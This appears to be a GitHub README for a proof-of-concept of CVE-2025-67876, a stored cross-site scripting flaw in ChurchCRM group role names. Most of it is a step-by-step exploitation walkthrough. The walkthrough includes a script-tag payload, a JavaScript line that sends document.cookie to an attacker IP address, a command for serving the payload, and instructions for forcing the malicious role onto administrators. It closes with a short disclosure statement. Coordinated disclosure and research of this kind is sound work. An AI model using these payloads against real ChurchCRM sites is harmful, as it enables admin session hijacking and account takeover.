lukasz-rybak/cve-2025-67876Detailed CVE-2025-67876 proof-of-concept demonstrating stored XSS in ChurchCRM group role names leading to admin session hijacking, with full exploitation walkthrough and remediation recommendations.
| Field | Details |
|---|
| CVE ID | CVE-2025-67876 |
| Severity | CRITICAL |
| Advisory | View Advisory |
| Discovered by | Lukasz Rybak |
A stored cross-site scripting (XSS) vulnerability exists in ChurchCRM that allows a low-privilege user with the “Manage Groups” permission to inject persistent JavaScript into group role names. The payload is saved in the database and executed whenever any user (including administrators) views a page that displays that role, such as GroupView.php or PersonView.php. This allows full session hijacking and account takeover.
The root cause is a lack of input validation and output encoding in the handling of group role names.
When editing a group in GroupEditor.php, the user can modify the role names. The application does not sanitize the input (e.g., no strip_tags, htmlspecialchars, or server-side validation). The value is stored in the list_lst database table.
Later, the stored value is injected directly into HTML without escaping:
A low-privilege user (with Manage Groups) can therefore escalate privileges to full administrator by injecting JavaScript into a role and assigning that role to an admin.
Create x.js on attacker-controlled machine:
fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));
Serve the file:
python3 -m http.server 800
Log in as a user with Manage Groups permission.
Navigate to: Groups → List Groups → select any group → Settings.
In the “Group Roles” section, edit an existing role or create a new one.
Insert malicious payload:
"><script src=//172.20.0.1:800/x.js></script>
In the Group Roles list, click Default next to the role containing your injected XSS payload.
This ensures that the malicious role will automatically be assigned to any user added to the group, increasing the likelihood that an administrator will trigger the XSS when viewing their profile.
Click Delete next to the previous default role, typically "Member".
Removing the clean default role forces the system to use the XSS-injected role for all future assignments, guaranteeing execution when the victim views any page that displays their assigned role.
Go to the Group View page.
Add any user as a group member (e.g., Church Admin).
Select the malicious role from the dropdown.
Save the assignment.
When the victim (admin) visits:
Their user profile: PersonView.php
The group view page: GroupView.php
The stored JavaScript executes immediately.
On the attacker server, incoming requests will appear:
This confirms successful account takeover.
CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.
